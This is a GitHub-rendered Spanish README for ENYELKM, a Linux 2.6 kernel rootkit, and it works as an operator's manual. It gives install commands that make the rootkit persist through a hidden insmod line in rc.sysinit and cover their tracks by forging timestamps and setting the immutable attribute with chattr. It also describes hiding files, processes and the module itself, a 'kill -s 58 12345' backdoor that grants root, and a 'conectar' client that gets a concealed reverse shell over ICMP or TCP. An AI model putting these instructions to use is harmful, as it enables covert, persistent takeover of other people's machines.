-
-
Notifications
You must be signed in to change notification settings - Fork 31
/
LEEME.txt
128 lines (79 loc) · 3.6 KB
/
LEEME.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
---------------------------------------------
ENYELKM v1.2 | by RaiSe && David Reguera
Linux Rootkit x86 kernel v2.6.x
< http://www.enye-sec.org >
---------------------------------------------
Testeado en kernels: + v2.6.3-7mdk + v2.6.17-5mdv + v2.6.11-1.1369_FC4
+ v2.6.14.3 + v2.6.18-1.2798.fc6 + v2.6.21.1
Para compilar:
# make
Para instalar:
# make install
Para compilar solo 'conectar':
# make conectar
* Lo que hace make install:
- Copia el fichero enyelkm.ko a /etc/.enyelkmOCULTAR.ko, de forma
que una vez cargado el modulo el fichero permanecera oculto.
- Añade la cadena insmod /etc/.enyelkmOCULTAR.ko entre las marcas
#<OCULTAR_8762> y #</OCULTAR_8762> al fichero /etc/rc.d/rc.sysinit,
de forma que una vez cargado el modulo esas lineas permaneceran
ocultas.
- Carga el modulo mediante insmod /etc/.enyelkmOCULTAR.ko.
- Intenta sobreescribir la fecha de archivo modificado de
/etc/rc.d/rc.sysinit con la de /etc/rc.d/rc, y ponerle el
atributo +i a /etc/.enyelkmOCULTAR.ko con touch y chattr
respectivamente.
* Ocultar ficheros, directorios y procesos:
Se ocultan los ficheros, directorios y procesos que contengan
la subcadena 'OCULTAR' en su nombre. En el caso de los procesos
tambien se ocultan los que tengan gid = 0x489196ab. La shell
remota (ver acceso remoto mas abajo) corre con ese gid, por lo
que la shell y todos los procesos que se lancen desde ella
permaneceran ocultos.
* Ocultar partes de un fichero:
Se oculta en un fichero todo lo que este entre las marcas:
(marcas incluidas)
#<OCULTAR_8762>
texto a ocultar
#</OCULTAR_8762>
* Consiguiendo root local:
Haciendo: # kill -s 58 12345
se consigue id 0.
* Ocultacion del modulo a 'lsmod' y '/sys/module':
El modulo se auto_oculta al cargarlo.
* Acceso remoto:
Usar el programa 'conectar', que va incluido en el tgz. Se compila con
el make del LKM o con 'make conectar'. Hay dos formas de pedir la shell,
via ICMP o via TCP. Siempre se recibira una reverse shell, estan
implementadas las dos formas por si los ICMP estan bloqueados por algun
firewall intermedio. Si se usa el modo ICMP el programa enviara un ICMP
especial, y abrira un puerto a la escucha en la que recibira la shell.
Si se usa el modo TCP se conectara al puerto indicado, enviara una firma,
y abrira un puerto a la escucha en la que recibira la reverse shell. Para
salir de la shell: control+c.
Modo ICMP: './conectar -icmp ip_maquina_con_lkm'
Modo TCP: './conectar -tcp ip_maquina_con_lkm puerto_tcp_abierto_en_ella'
* Ocultacion de la conexion de la reverse shell al netstat:
Se auto_ocultan todas las conexiones a la ip que envio el ICMP/TCP con el
programa conectar.
* Desinstalacion del modulo:
El modulo no puede descargarse mediante 'rmmod' ya que permanece
oculto. Y aunque estuviera visible no se podria ya que el sistema
dejaria de funcionar. La unica forma es reiniciando el sistema. En caso
de haber hecho 'make install', una forma de quitar la cadena oculta
de /etc/rc.d/rc.sysinit es editando ese fichero y guardandolo sin
modificar nada, de esa forma se guardara sin la cadena ya que el
editor no la 've'. Luego reiniciar. Una forma sencilla de mirar si
el LKM esta cargado es haciendo un 'kill -s 58 12345' y mirando si
da root.
[ -- ]
--> En la version 1.3:
Intentar adaptarlo para que compile y funcione en kernels 2.4.x
y x86_64.
-> Agradecimientos:
Gracias a Int27h por el consejo para conseguir sysenter_entry :).
Gracias a kenshin por el metodo para ocultar el lkm a '/sys/module'
y por las pruebas ;).
EOF